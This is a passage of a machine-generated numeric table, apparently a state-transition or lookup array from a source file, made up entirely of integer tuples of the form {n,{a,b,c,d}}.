{0,{1750,0,0,0}}, {133,{0,0,0,0}}, {0,{0,0,0,1752}}, {0,{1753,0,0,0}}, {0,{1737,0,0,0}}, {0,{1751,1751,1751,1751}}, {0,{1756,1756,1756,1756}}, {0,{1757,1803,1811,1754}}, {0,{1758,1798,1798,1798}}, {0,{307,307,307,1759}}, {0,{1760,306,306,306}}, {0,{1761,0,305,0}}, {0,{1762,0,1699,0}}, {0,{1763,1792,1792,1792}}, {0,{1764,1764,1764,1764}}, {0,{1765,1782,1765,1741}}, {0,{1766,1766,1766,1766}}, {0,{1767,1767,1767,1767}}, {0,{1768,1768,1768,1768}}, {0,{1769,1769,1769,1776}}, {0,{1770,1770,1770,1770}}, {0,{0,0,0,1771}}, {0,{0,0,0,1772}}, {0,{0,0,0,1773}}, {0,{1774,0,0,0}}, {138,{1775,0,0,0}}, {139,{0,0,0,0}}, {0,{1777,1777,1777,1777}}, {0,{0,0,0,1778}}, {0,{0,0,0,1779}}, {0,{0,0,0,1780}}, {0,{1781,0,0,0}}, {144,{0,0,0,0}}, {0,{1783,1783,1783,1783}}, {0,{1784,1784,1784,1784}}, {0,{1785,1785,1785,1785}}, {0,{1786,1786,1786,1786}}, {0,{1787,1787,1787,1787}}, {0,{0,0,0,1788}}, {0,{0,0,0,1789}}, {0,{0,0,0,1790}}, {0,{1791,0,0,0}}, {149,{0,0,0,0}}, {0,{1793,1793,1793,1793}}, {0,{1794,1782,1794,1741}}, {0,{1795,1795,1795,1795}}, {0,{1796,1796,1796,1796}}, {0,{1797,1797,1797,1797}}, {0,{1776,1776,1776,1776}}, {0,{0,0,0,1799}}, {0,{1800,0,0,0}}, {0,{1801,0,0,0}}, {0,{1802,0,1699,0}}, {0,{1792,1792,1792,1792}}, {0,{1804,1804,1804,1804}}, {0,{0,0,0,1805}}, {0,{1806,0,0,0}}, {0,{1807,0,0,0}}, {0,{1808,0,1699,0}}, {0,{1809,1809,1809,1809}}, {0,{1810,1810,1810,1810}}, {0,{1794,1741,1794,1741}}, {150,{1812,1804,1804,1804}}, {0,{307,307,307,1813}}, {0,{1814,306,306,306}}, {0,{1807,0,305,0}}, {0,{1816,1816,1816,1816}}, {0,{1733,1754,1817,1754}}, {151,{1734,1751,1751,1751}}, {0,{429,1819,433,429}}, {0,{1820,1820,1820,1820}}, {0,{431,0,1821,0}}, {152,{432,0,0,0}}, {0,{1823,1823,1823,1823}}, {0,{0,1824,461,0}}, {0,{1825,1825,1825,1825}}, {0,{0,0,1826,0}}, {153,{0,0,0,0}}, {0,{1828,1828,1832,1828}}, {0,{623,1829,636,623}}, {0,{1830,1825,1831,1825}}, {0,{625,0,1826,0}}, {0,{631,0,1826,0}}, {0,{623,1833,636,623}}, {0,{1834,1884,1885,1884}}, {0,{1835,1882,1883,0}}, {0,{1836,1877,1877,1877}}, {0,{627,627,627,1837}}, {0,{1838,628,628,628}}, {0,{1839,629,629,629}}, {0,{1840,550,550,550}}, {0,{1841,1860,1872,1872}}, {0,{1842,1842,1842,1842}}, {0,{1843,500,1843,500}}, {0,{1844,1844,1844,1844}}, {0,{1845,1845,1845,1845}}, {0,{1846,1859,1846,1859}}, {0,{1847,1853,1853,1853}}, {0,{1848,1848,1848,1848}}, {0,{506,506,506,1849}}, {0,{507,507,507,1850}}, {0,{508,508,508,1851}}, {0,{1852,509,509,509}}, {154,{510,510,510,510}}, {0,{1854,1854,1854,1854}}, {0,{0,0,0,1855}}, {0,{0,0,0,1856}}, {0,{0,0,0,1857}}, {0,{1858,0,0,0}}, {155,{0,0,0,0}}, {0,{1853,1853,1853,1853}}, {0,{1861,1861,1861,1861}}, {0,{1862,538,1862,538}}, {0,{1863,1863,1863,1863}}, {0,{1864,1864,1864,1864}}, {0,{1865,1859,1865,1859}}, {0,{1866,1853,1853,1853}}, {0,{1867,1867,1867,1867}}, {0,{544,544,544,1868}}, {0,{545,545,545,1869}}, {0,{546,546,546,1870}}, {0,{1871,547,547,547}}, {156,{548,548,548,548}}, {0,{1873,1873,1873,1873}}, {0,{1874,0,1874,0}}, {0,{1875,1875,1875,1875}}, {0,{1876,1876,1876,1876}}, {0,{1859,1859,1859,1859}}, {0,{0,0,0,1878}}, {0,{1879,0,0,0}}, {0,{1880,0,0,0}}, {0,{1881,0,0,0}}, {0,{1872,1872,1872,1872}}, {0,{1877,1877,1877,1877}}, {157,{1877,1877,1877,1877}}, {0,{1882,1882,1883,0}}, {0,{1886,1882,1883,0}}, {0,{1887,1877,1877,1877}}, {0,{633,633,633,1888}}, {0,{1889,634,634,634}}, {0,{1890,635,635,635}}, {0,{1891,621,621,621}}, {0,{1892,1860,1872,1872}}, {0,{1893,1893,1893,1893}}, {0,{1894,609,1894,609}}, {0,{1895,1895,1895,1895}}, {0,{1896,1896,1896,1896}}, {0,{1897,1859,1897,1859}}, {0,{1898,1853,1853,1853}}, {0,{1899,1848,1848,1848}}, {0,{615,615,615,1900}}, {0,{616,616,616,1901}}, {0,{617,617,617,1902}}, {0,{1903,618,618,618}}, {158,{619,619,619,619}}, {0,{1905,1822,1906,1822}}, {0,{1818,1818,1818,1818}}, {0,{1828,1828,1828,1828}}, {0,{1908,1822,1906,1822}}, {0,{1909,1909,1909,1818}}, {0,{777,1910,778,777}}, {0,{1911,1911,1911,1911}}, {0,{715,737,1912,737}}, {159,{716,734,734,0}}, {0,{1914,1904,1904,1904}}, {161,{1905,1822,1906,1822}}, {0,{1916,1985,1986,1985}}, {0,{1917,1822,1906,1822}}, {0,{1918,1941,1918,1982}}, {0,{0,1824,1919,0}}, {0,{1920,1920,1940,1940}}, {0,{1921,0,1934,0}}, {0,{1922,0,1922,0}}, {0,{0,0,0,1923}}, {0,{0,0,0,1924}}, {0,{0,0,0,1925}}, {0,{1926,1926,1926,1926}}, {0,{1927,1927,1927,0}}, {0,{1928,1928,1928,1928}}, {0,{1929,1929,1929,1929}}, {0,{1930,1930,1930,0}}, {0,{1931,1931,1931,1931}}, {0,{0,1932,0,0}}, {0,{1933,0,1933,0}}, {162,{0,0,0,0}}, {163,{0,0,0,1935}}, {0,{0,0,0,1936}}, {0,{0,0,0,1937}}, {0,{0,0,0,1938}}, {0,{0,0,1939,0}}, {164,{0,0,0,0}}, {0,{0,0,1934,0}}, {0,{0,1824,1942,0}}, {0,{1943,1943,1980,1980}}, {0,{1944,0,1971,0}}, {0,{1945,1961,1966,1961}}, {0,{0,0,0,1946}}, {0,{0,0,0,1947}}, {0,{0,0,0,1948}}, {0,{1949,1926,1926,1926}}, {165,{1950,1927,1927,0}}, {0,{1951,1951,1951,1951}}, {0,{1952,1952,1952,1929}}, {0,{1953,1953,1953,1959}}, {0,{1954,1954,1954,1954}}, {0,{1955,1957,1955,1955}}, {0,{0,0,1956,0}}, {166,{0,0,0,0}}, {0,{1933,0,1958,0}}, {168,{0,0,0,0}}, {0,{1960,1960,1960,1960}}, {0,{1955,1955,1955,1955}}, {0,{0,0,0,1962}}, {0,{0,0,0,1963}}, {0,{0,0,0,1964}}, {0,{1965,0,0,0}}, {169,{0,0,0,0}}, {0,{0,0,0,1967}}, {0,{0,0,0,1968}}, {0,{0,0,0,1969}}, {0,{1970,1926,1926,1926}}, {170,{1927,1927,1927,0}}, {171,{1972,1961,1961,1961}}, {0,{0,0,0,1973}}, {0,{0,0,0,1974}}, {0,{0,0,0,1975}}, {0,{1976,0,0,0}}, {172,{1977,0,0,0}}, {0,{1978,1978,1978,1978}}, {0,{1979,1979,1979,0}}, {0,{1959,1959,1959,1959}}, {0,{1981,0,1971,0}}, {0,{1972,1961,1961,1961}}, {0,{0,1824,1983,0}}, {0,{1984,1984,462,462}}, {0,{1921,0,463,0}}, {0,{1822,1822,1906,1822}}, {0,{1987,1822,1906,1822}}, {0,{1988,1988,1988,1988}}, {0,{1116,1989,1125,1116}}, {0,{1990,1990,1990,1990}}, {0,{1118,1118,1991,1118}}, {173,{0,0,1119,0}}, {0,{1993,2078,2078,2080}}, {0,{1994,2071,2072,2071}}, {175,{1995,1822,2068,1822}}, {0,{1996,1996,2023,1823}}, {0,{1997,2017,2020,1997}}, {0,{1998,1998,1998,1998}}, {0,{1999,1999,1999,1999}}, {0,{2000,2000,2000,2000}}, {0,{0,0,0,2001}}, {0,{2002,0,0,0}}, {0,{2003,0,0,0}}, {0,{0,0,2004,0}}, {0,{2005,2005,2005,2005}}, {0,{2006,2006,2006,2006}}, {0,{2007,2007,2007,2007}}, {0,{2008,2008,2008,2008}}, {0,{2009,2009,2009,2009}}, {0,{2010,2010,2010,2010}}, {0,{2011,2011,2011,2011}}, {0,{2012,2012,2012,2012}}, {0,{0,0,0,2013}}, {0,{0,0,0,2014}}, {0,{0,0,0,2015}}, {0,{2016,0,2016,0}}, {176,{0,0,0,0}}, {0,{2018,2018,2018,2018}}, {0,{1999,1999,2019,1999}}, {177,{2000,2000,2000,2000}}, {0,{2021,2021,2021,2021}}, {0,{1999,1999,2022,1999}}, {178,{2000,2000,2000,2000}}, {0,{2024,2044,2065,2024}}, {0,{2025,2025,2025,2025}}, {0,{2026,2026,2026,2026}}, {0,{2027,2027,2027,2027}}, {0,{0,0,0,2028}}, {0,{2029,0,0,0}}, {0,{2030,0,0,0}}, {0,{2031,0,2004,0}}, {0,{2032,2032,2032,2032}}, {0,{2033,2033,2033,2033}}, {0,{2034,2034,2034,2034}}, {0,{2035,2035,2035,2035}}, {0,{2036,2036,2036,2036}}, {0,{2037,2037,2037,2037}}, {0,{2038,2038,2038,2038}}, {0,{2039,2039,2039,2039}}, {0,{0,0,0,2040}}, {0,{0,0,0,2041}}, {0,{0,0,0,2042}}, {0,{2043,0,0,0}}, {181,{0,0,0,0}}, {0,{2045,2045,2045,2045}}, {0,{2046,2046,2064,2026}}, {0,{2047,2047,2047,2047}}, {0,{0,0,0,2048}}, {0,{2049,0,0,0}}, {0,{2050,0,0,0}}, {0,{2051,0,2004,0}}, {0,{2052,2052,2052,2052}}, {0,{2053,2053,2053,2053}}, {0,{2054,2034,2054,2034}}, {0,{2055,2055,2055,2055}}, {0,{2056,2056,2056,2056}}, {0,{2057,2057,2057,2057}}, {0,{2058,2058,2058,2058}}, {0,{2059,2059,2059,2059}}, {0,{0,0,0,2060}}, {0,{0,0,0,2061}}, {0,{0,0,0,2062}}, {0,{2063,0,0,0}}, {185,{0,0,0,0}}, {186,{2047,2047,2047,2047}}, {0,{2066,2066,2066,2066}}, {0,{2026,2026,2067,2026}}, {187,{2027,2027,2027,2027}}, {0,{1823,1823,2069,1823}}, {0,{0,2070,461,0}}, {0,{1884,1884,1884,1884}}, {0,{1822,1822,1822,1822}}, {0,{2073,1822,1822,1822}}, {0,{2074,2074,2074,1823}}, {0,{1197,2075,1199,1197}}, {0,{2076,2076,2076,2076}}, {0,{737,737,2077,737}}, {188,{734,734,734,0}}, {0,{2079,2071,2071,2071}}, {190,{1822,1822,1822,1822}}, {0,{2081,2071,2071,2071}}, {0,{2082,1822,1822,1822}}, {0,{1823,2083,1823,1823}}, {0,{0,1824,2084,0}}, {0,{1980,1980,1980,1980}}, {0,{2086,2078,2078,2089}}, {0,{2087,2071,2072,2071}}, {192,{2088,1822,2068,1822}}, {194,{1996,1996,2023,1823}}, {0,{2090,2098,2100,2071}}, {0,{2091,1822,2097,1822}}, {196,{2092,2092,2092,2092}}, {0,{0,1824,2093,0}}, {0,{2094,2094,2094,2094}}, {0,{0,2095,463,0}}, {0,{0,0,0,2096}}, {197,{0,0,0,0}}, {198,{1823,1823,1823,1823}}, {0,{1822,2099,1822,1822}}, {200,{1823,1823,1823,1823}}, {0,{2101,1822,2097,1822}}, {201,{1988,1988,1988,1988}}, {0,{2103,2118,2128,0}}, {0,{2104,2116,2116,1463}}, {0,{2105,1333,1335,1333}}, {203,{2106,0,2112,0}}, {0,{2107,2107,2108,1328}}, {0,{1728,1728,1728,1728}}, {0,{1731,2109,1731,1731}}, {0,{2110,2110,2110,2110}}, {0,{2111,1803,2111,1754}}, {0,{1812,1804,1804,1804}}, {0,{0,0,2113,0}}, {0,{0,2114,0,0}}, {0,{2115,2115,2115,2115}}, {0,{1882,1882,1882,0}}, {0,{2117,1333,1333,1333}}, {205,{1334,0,0,0}}, {0,{2119,2126,2126,0}}, {0,{2120,0,1359,0}}, {207,{2121,0,2112,0}}, {0,{2122,2122,2123,0}}, {0,{1997,1997,1997,1997}}, {0,{2024,2124,2024,2024}}, {0,{2125,2125,2125,2125}}, {0,{2046,2046,2046,2026}}, {0,{2127,0,0,0}}, {209,{0,0,0,0}}, {0,{2129,2126,2126,2132}}, {0,{2130,0,1359,0}}, {211,{2131,0,2112,0}}, {213,{2122,2122,2123,0}}, {0,{2133,2136,2138,0}}, {0,{2134,0,2135,0}}, {215,{0,0,0,0}}, {216,{0,0,0,0}}, {0,{0,2137,0,0}}, {218,{0,0,0,0}}, {0,{2139,0,2135,0}}, {219,{1351,1351,1351,1351}}, {0,{2141,2181,2187,0}}, {0,{2142,2116,2116,2175}}, {0,{2143,2146,1335,1333}}, {221,{2144,0,0,0}}, {0,{2107,2107,2145,1328}}, {0,{1731,1731,1731,1731}}, {0,{2147,0,0,0}}, {0,{2148,1328,1328,1328}}, {0,{429,429,2149,429}}, {0,{2150,430,2150,430}}, {0,{431,2151,431,0}}, {0,{2152,0,0,0}}, {0,{2153,2153,2153,2153}}, {0,{2154,0,0,0}}, {0,{2155,2155,2155,0}}, {0,{2156,0,0,0}}, {0,{2157,2157,2157,0}}, {0,{0,0,0,2158}}, {0,{2159,0,0,0}}, {0,{2160,0,0,0}}, {0,{2161,2161,2161,2161}}, {0,{2162,0,0,0}}, {0,{2163,0,0,0}}, {0,{2164,2164,2164,2164}}, {0,{2165,2165,2165,2165}}, {0,{2166,2166,2166,2166}}, {0,{2167,2167,2167,2167}}, {0,{2168,0,0,0}}, {0,{2169,2169,2169,0}}, {0,{0,0,0,2170}}, {0,{2171,2171,2171,2171}}, {0,{0,0,0,2172}}, {0,{0,0,0,2173}}, {0,{2174,0,0,0}}, {222,{0,0,0,0}}, {0,{2176,0,1349,0}}, {0,{2177,0,0,0}}, {0,{0,2178,0,0}}, {0,{0,0,2179,0}}, {0,{2180,2180,2180,2180}}, {0,{1981,0,1981,0}}, {0,{2182,2126,2126,2186}}, {0,{2183,0,1359,0}}, {224,{2184,0,0,0}}, {0,{2122,2122,2185,0}}, {0,{2024,2024,2024,2024}}, {0,{2176,0,0,0}}, {0,{2188,2126,2126,2191}}, {0,{2189,0,1359,0}}, {226,{2190,0,0,0}}, {228,{2122,2122,2185,0}}, {0,{2192,2204,2211,0}}, {0,{2193,0,2199,0}}, {230,{2194,2194,2194,2194}}, {0,{2195,2195,2195,0}}, {0,{2196,2196,2196,2196}}, {0,{0,2197,0,0}}, {0,{0,0,0,2198}}, {231,{0,0,0,0}}, {232,{2200,2200,2200,2200}}, {0,{0,2201,0,0}}, {0,{2202,2202,2202,2202}}, {0,{0,0,2203,0}}, {233,{0,0,0,0}}, {0,{0,2205,0,0}}, {235,{2206,2206,2206,2206}}, {0,{2207,2207,2207,0}}, {0,{2208,2208,2208,2208}}, {0,{2209,0,0,0}}, {0,{0,0,0,2210}}, {236,{0,0,0,0}}, {0,{2212,0,2135,0}}, {237,{2213,2213,2213,2213}}, {0,{2214,2214,2214,1116}}, {0,{2215,2215,2215,2215}}, {0,{1118,2216,1118,1118}}, {0,{0,0,1119,2198}}, {0,{2218,2228,2229,0}}, {0,{2219,2126,2126,1463}}, {0,{2220,0,1359,0}}, {239,{2221,0,0,0}}, {0,{2222,2222,2225,0}}, {0,{2223,2223,2223,2223}}, {0,{2224,2224,2224,2224}}, {0,{1716,1716,1716,1716}}, {0,{2226,2226,2226,2226}}, {0,{2227,2227,2227,2227}}, {0,{1754,1754,1754,1754}}, {0,{2182,2126,2126,0}}, {0,{2188,2126,2126,2132}}, {0,{2231,2239,2239,0}}, {0,{2232,0,0,0}}, {0,{2233,2233,2233,2237}}, {0,{2234,2234,2234,2234}}, {0,{1334,0,2235,0}}, {0,{2236,2236,2236,2236}}, {0,{623,623,623,623}}, {0,{2238,2238,2238,2238}}, {0,{0,0,2235,0}}, {0,{2240,0,0,0}}, {0,{1659,1659,1659,0}}, {0,{2242,2379,2384,2422}}, {0,{2243,0,2353,0}}, {0,{2244,2345,2345,2348}}, {0,{2245,2245,2245,2245}}, {0,{2246,2246,2281,2246}}, {0,{708,708,2247,708}}, {0,{2248,2248,2248,2248}}, {0,{2249,2249,2278,2249}}, {0,{2250,0,2264,0}}, {0,{2251,0,0,0}}, {0,{2252,0,0,0}}, {0,{2253,2253,2253,2253}}, {0,{2254,2254,2254,2254}}, {0,{2255,2255,2255,2255}}, {0,{2256,2256,2256,2256}}, {0,{2257,552,0,0}}, {0,{2258,2258,2258,2258}}, {0,{2259,2259,2259,2259}}, {0,{2260,2260,2260,2260}}, {0,{2261,2261,2261,2261}}, {0,{2262,0,2262,0}}, {0,{2263,0,0,0}}, {240,{505,505,505,505}}, {0,{2265,0,0,0}}, {0,{2266,0,0,0}}, {0,{2267,2267,2267,2267}}, {0,{2268,2268,2268,2268}}, {0,{2269,2269,2269,2269}}, {0,{2270,2270,2270,2270}}, {0,{2271,552,0,0}}, {0,{2272,2272,2272,2272}}, {0,{2273,2273,2273,2273}}, {0,{2274,2274,2274,2274}}, {0,{2275,2275,2275,2275}}, {0,{2276,0,2276,0}}, {0,{2277,0,0,0}}, {241,{614,505,505,505}}, {0,{2279,462,2280,462}}, {0,{2251,0,463,0}}, {0,{2265,0,463,0}}, {0,{2282,2282,2295,2282}}, {0,{2283,853,460,460}}, {0,{2284,0,461,0}}, {0,{2285,2285,2285,2285}}, {0,{2286,2286,2286,2286}}, {0,{2287,2287,2287,2287}}, {0,{2288,2288,2288,2288}}, {0,{2289,2289,2289,2289}}, {0,{2290,2290,2290,2290}}, {0,{0,0,2291,0}}, {0,{2292,2292,2292,2292}}, {0,{2293,2293,2293,2293}}, {0,{2294,0,0,0}}, {242,{0,0,0,0}}, {0,{2296,2321,2248,2248}}, {0,{2297,2249,2278,2249}}, {0,{2298,2285,2311,2285}}, {0,{2299,2286,2286,2286}}, {0,{2300,2287,2287,2287}}, {0,{2301,2301,2301,2301}}, {0,{2302,2302,2302,2302}}, {0,{2303,2303,2303,2303}}, {0,{2256,2256,2304,2256}}, {0,{2305,2308,2292,2292}}, {0,{2306,2306,2306,2306}}, {0,{2307,2259,2259,2259}}, {243,{2260,2260,2260,2260}}, {0,{2309,2309,2309,2309}}, {0,{2310,538,538,538}}, {244,{539,539,539,539}}, {0,{2312,2286,2286,2286}}, {0,{2313,2287,2287,2287}}, {0,{2314,2314,2314,2314}}, {0,{2315,2315,2315,2315}}, {0,{2316,2316,2316,2316}}, {0,{2270,2270,2317,2270}}, {0,{2318,2308,2292,2292}}, {0,{2319,2319,2319,2319}}, {0,{2320,2273,2273,2273}}, {245,{2274,2274,2274,2274}}, {0,{2322,2249,2278,2249}}, {0,{2323,855,2334,855}}, {0,{2324,856,856,856}}, {0,{2325,813,813,813}}, {0,{2326,2326,2326,2326}}, {0,{2327,2327,2327,2327}}, {0,{2328,2328,2328,2328}}, {0,{2329,2329,2329,2256}}, {0,{2330,871,790,790}}, {0,{2331,2331,2331,2331}}, {0,{2332,2259,2333,2259}}, {247,{2260,2260,2260,2260}}, {248,{2260,2260,2260,2260}}, {0,{2335,856,856,856}}, {0,{2336,813,813,813}}, {0,{2337,2337,2337,2337}}, {0,{2338,2338,2338,2338}}, {0,{2339,2339,2339,2339}}, {0,{2340,2340,2340,2270}}, {0,{2341,871,790,790}}, {0,{2342,2342,2342,2342}}, {0,{2343,2273,2344,2273}}, {250,{2274,2274,2274,2274}}, {251,{2274,2274,2274,2274}}, {0,{2346,2346,2346,2346}}, {0,{1193,1193,2347,1193}}, {0,{2282,2282,2282,2282}}, {0,{2349,2349,2349,2349}}, {0,{0,0,2350,0}}, {0,{2351,2351,2351,2351}}, {0,{2352,1309,0,0}}, {0,{2284,0,0,0}}, {0,{0,0,2354,0}}, {0,{2355,0,0,0}}, {0,{0,2356,0,0}}, {0,{0,0,2357,0}}, {0,{0,0,2358,0}}, {0,{0,0,2359,0}}, {0,{2360,2360,2360,2360}}, {0,{0,0,2361,0}}, {0,{0,0,0,2362}}, {0,{0,0,0,2363}}, {0,{2364,0,0,0}}, {0,{2365,0,0,0}}, {0,{0,0,2366,0}}, {0,{0,0,0,2367}}, {0,{2368,2368,2368,2368}}, {0,{2369,2369,2369,0}}, {0,{2370,2370,2370,2370}}, {0,{2371,2371,2371,2371}}, {0,{2372,2372,2372,2372}}, {0,{0,0,0,2373}}, {0,{0,0,0,2374}}, {0,{0,0,0,2375}}, {0,{0,0,0,2376}}, {0,{0,0,0,2377}}, {0,{0,0,2378,0}}, {252,{0,0,0,0}}, {0,{2380,0,0,0}}, {0,{2381,2383,2383,0}}, {0,{2382,2382,2382,2382}}, {0,{2246,2246,2246,2246}}, {0,{1630,1630,1630,1630}}, {0,{2385,0,2396,0}}, {0,{2386,2394,2394,0}}, {0,{2387,2387,2387,2387}}, {0,{2388,2388,2388,2388}}, {0,{1822,1822,2389,1822}}, {0,{2390,2390,2390,2390}}, {0,{2249,2391,2278,2249}}, {0,{2392,1825,2393,1825}}, {0,{2251,0,1826,0}}, {0,{2265,0,1826,0}}, {0,{2395,2395,2395,2395}}, {0,{2071,2071,2071,2071}}, {0,{2397,0,0,0}}, {0,{2398,0,0,0}}, {0,{0,2399,0,0}}, {0,{0,0,2400,0}}, {0,{2401,0,2401,0}}, {0,{2402,0,2402,0}}, {0,{2403,2403,2403,2403}}, {0,{0,0,2404,0}}, {0,{0,0,0,2405}}, {0,{0,0,0,2406}}, {0,{2407,2407,0,0}}, {0,{2408,0,0,0}}, {0,{0,0,2409,0}}, {0,{0,0,0,2410}}, {0,{2411,2411,2411,2411}}, {0,{2412,2412,2412,0}}, {0,{2413,2413,2413,2413}}, {0,{2414,2414,2414,2414}}, {0,{2415,2415,2415,2415}}, {0,{0,0,0,2416}}, {0,{0,0,0,2417}}, {0,{0,0,0,2418}}, {0,{0,0,0,2419}}, {0,{0,0,0,2420}}, {0,{0,0,2421,0}}, {253,{0,0,0,0}}, {0,{2423,0,0,0}}, {0,{2424,0,0,0}}, {0,{2425,2425,2425,2425}}, {0,{2426,2426,2426,2426}}, {0,{0,0,2427,0}}, {0,{2428,2428,2428,2428}}, {0,{2249,2249,2249,2249}}, {0,{2430,2959,3078,3309}}, {0,{2431,2858,2919,2942}}, {0,{2432,2676,2709,2847}}, {0,{2433,2433,2433,2463}}, {0,{2434,2443,2457,2434}}, {0,{2435,708,709,708}}, {0,{2436,2436,2436,2436}}, {0,{2437,2437,2440,2437}}, {0,{2438,2438,2438,2438}}, {0,{0,0,2439,0}}, {254,{0,0,0,0}}, {0,{2441,2441,2441,2441}}, {0,{0,0,2442,0}}, {256,{0,0,0,0}}, {257,{2444,2448,2452,2448}}, {258,{2445,2445,2445,2445}}, {0,{2446,2437,2440,2437}}, {259,{2447,2447,2447,2438}}, {260,{0,0,2439,0}}, {0,{2449,2449,2449,2449}}, {0,{2450,0,461,0}}, {261,{2451,2451,2451,0}}, {262,{0,0,0,0}}, {0,{2453,2453,2453,2453}}, {0,{2454,623,636,623}}, {263,{2455,2451,2456,0}}, {264,{625,0,0,0}}, {265,{631,0,0,0}}, {0,{2458,852,857,852}}, {0,{2436,2459,2436,2436}}, {0,{2460,2437,2440,2437}}, {0,{2461,2461,2461,2461}}, {0,{856,856,2462,856}}, {266,{813,813,813,813}}, {0,{2464,2603,2650,2674}}, {0,{2465,2571,2577,2571}}, {0,{2466,2466,2541,2466}}, {0,{2467,2467,2538,2467}}, {0,{2468,2468,2468,2468}}, {0,{2469,2525,2537,2525}}, {0,{2470,0,0,0}}, {0,{0,0,0,2471}}, {0,{0,0,0,2472}}, {0,{0,0,0,2473}}, {0,{2474,2474,2474,2474}}, {0,{2475,0,0,0}}, {267,{2476,2476,2476,2476}}, {0,{2477,2477,2477,2477}}, {0,{2478,2478,2478,2478}}, {0,{2479,2479,2479,2479}}, {0,{2480,2480,2480,2480}}, {0,{2481,2524,2481,2524}}, {268,{2482,0,2509,0}}, {0,{0,0,0,2483}}, {0,{0,0,0,2484}}, {0,{0,0,0,2485}}, {0,{0,0,0,2486}}, {0,{0,0,0,2487}}, {0,{2488,2488,2488,2488}}, {0,{2489,0,0,0}}, {0,{2490,2490,2490,2490}}, {0,{2491,2491,2491,2491}}, {0,{2492,2492,2492,2492}}, {0,{2493,2493,2493,2493}}, {0,{2494,2494,2494,2494}}, {0,{2495,2495,2495,2495}}, {0,{2496,2496,2496,2496}}, {0,{2497,2508,2497,2508}}, {269,{2498,0,2498,0}}, {0,{0,0,0,2499}}, {0,{0,0,0,2500}}, {0,{0,0,0,2501}}, {0,{0,0,0,2502}}, {0,{0,0,0,2503}}, {0,{0,0,0,2504}}, {0,{0,0,0,2505}}, {0,{2506,2506,2506,2506}}, {0,{2507,0,0,0}}, {270,{0,0,0,0}}, {0,{2498,0,2498,0}}, {0,{0,0,0,2510}}, {0,{0,0,0,2511}}, {0,{0,0,0,2512}}, {0,{0,0,0,2513}}, {0,{0,0,0,2514}}, {0,{2515,2515,2515,2515}}, {0,{2516,0,0,0}}, {0,{2517,2517,2517,2517}}, {0,{2518,2518,2518,2518}}, {0,{2519,2519,2519,2519}}, {0,{2520,2520,2520,2520}}, {0,{2521,2521,2521,2521}}, {0,{2522,2522,2522,2522}}, {0,{2523,2523,2523,2523}}, {0,{2508,2508,2508,2508}}, {0,{2509,0,2509,0}}, {0,{2526,0,0,0}}, {0,{0,0,0,2527}}, {0,{0,0,0,2528}}, {0,{0,0,0,2529}}, {0,{2530,2530,2530,2530}}, {0,{2531,0,0,0}}, {271,{2532,2532,2532,2532}}, {0,{2533,2533,2533,2533}}, {0,{2534,2534,2534,2534}}, {0,{2535,2535,2535,2535}}, {0,{2536,2536,2536,2536}}, {0,{2524,2524,2524,2524}}, {273,{2470,0,0,0}}, {0,{2539,2539,2539,2539}}, {0,{2469,2525,2540,2525}}, {276,{2470,0,0,0}}, {0,{2467,2467,2542,2467}}, {0,{2543,2543,2543,2543}}, {0,{2544,2561,2570,2561}}, {0,{2545,2556,2556,2556}}, {0,{0,0,0,2546}}, {0,{0,0,0,2547}}, {0,{0,0,0,2548}}, {0,{2474,2474,2549,2474}}, {0,{2550,2553,2553,2553}}, {277,{2551,2551,2551,2551}}, {0,{2552,2552,2477,2477}}, {278,{2478,2478,2478,2478}}, {0,{2554,2554,2554,2554}}, {0,{2555,2555,0,0}}, {279,{0,0,0,0}}, {0,{0,0,0,2557}}, {0,{0,0,0,2558}}, {0,{0,0,0,2559}}, {0,{0,0,2560,0}}, {0,{2553,2553,2553,2553}}, {0,{2562,2556,2556,2556}}, {0,{0,0,0,2563}}, {0,{0,0,0,2564}}, {0,{0,0,0,2565}}, {0,{2530,2530,2566,2530}}, {0,{2567,2553,2553,2553}}, {280,{2568,2568,2568,2568}}, {0,{2569,2569,2533,2533}}, {281,{2534,2534,2534,2534}}, {284,{2545,2556,2556,2556}}, {0,{460,460,2572,460}}, {0,{0,0,2573,0}}, {0,{2574,2574,2574,2574}}, {0,{2575,2575,2576,2575}}, {0,{2556,2556,2556,2556}}, {285,{2556,2556,2556,2556}}, {0,{639,639,2578,639}}, {0,{623,623,2579,623}}, {0,{2580,2574,2593,2574}}, {0,{2581,2575,2576,2575}}, {0,{2582,2556,2556,2556}}, {0,{627,627,627,2583}}, {0,{628,628,628,2584}}, {0,{629,629,629,2585}}, {0,{550,550,2586,550}}, {0,{2587,2590,2553,2553}}, {0,{2588,2588,2588,2588}}, {0,{2589,2589,500,500}}, {286,{501,501,501,501}}, {0,{2591,2591,2591,2591}}, {0,{2592,2592,538,538}}, {287,{539,539,539,539}}, {0,{2594,2575,2576,2575}}, {0,{2595,2556,2556,2556}}, {0,{633,633,633,2596}}, {0,{634,634,634,2597}}, {0,{635,635,635,2598}}, {0,{621,621,2599,621}}, {0,{2600,2590,2553,2553}}, {0,{2601,2601,2601,2601}}, {0,{2602,2602,609,609}}, {288,{610,610,610,610}}, {289,{2604,2448,2452,2448}}, {290,{2605,2605,2605,2605}}, {0,{2606,2646,2647,2646}}, {291,{2607,2607,2607,2645}}, {292,{2608,2637,2644,2637}}, {0,{2609,0,0,0}}, {0,{0,0,0,2610}}, {0,{0,0,0,2611}}, {0,{0,0,0,2612}}, {0,{2613,2613,2613,2613}}, {0,{2614,0,0,0}}, {293,{2615,2615,2615,2615}}, {0,{2616,2616,2616,2616}}, {0,{2617,2617,2617,2617}}, {0,{2618,2618,2618,2618}}, {0,{2619,2619,2619,2619}}, {0,{2620,0,2620,0}}, {294,{2621,0,0,0}}, {0,{0,0,0,2622}}, {0,{0,0,0,2623}}, {0,{0,0,0,2624}}, {0,{0,0,0,2625}}, {0,{0,0,0,2626}}, {0,{2627,2627,2627,2627}}, {0,{2628,0,0,0}}, {0,{2629,2629,2629,2629}}, {0,{2630,2630,2630,2630}}, {0,{2631,2631,2631,2631}}, {0,{2632,2632,2632,2632}}, {0,{2633,2633,2633,2633}}, {0,{2634,2634,2634,2634}}, {0,{2635,2635,2635,2635}}, {0,{2636,0,2636,0}}, {295,{0,0,0,0}}, {0,{2638,0,0,0}}, {0,{0,0,0,2639}}, {0,{0,0,0,2640}}, {0,{0,0,0,2641}}, {0,{2642,2642,2642,2642}}, {0,{2643,0,0,0}}, {296,{0,0,0,0}}, {298,{2609,0,0,0}}, {0,{2608,2637,2644,2637}}, {0,{2645,2645,2645,2645}}, {0,{2648,2648,2648,2648}}, {0,{2608,2637,2649,2637}}, {301,{2609,0,0,0}}, {0,{2651,852,857,852}}, {0,{2652,2653,2652,2652}}, 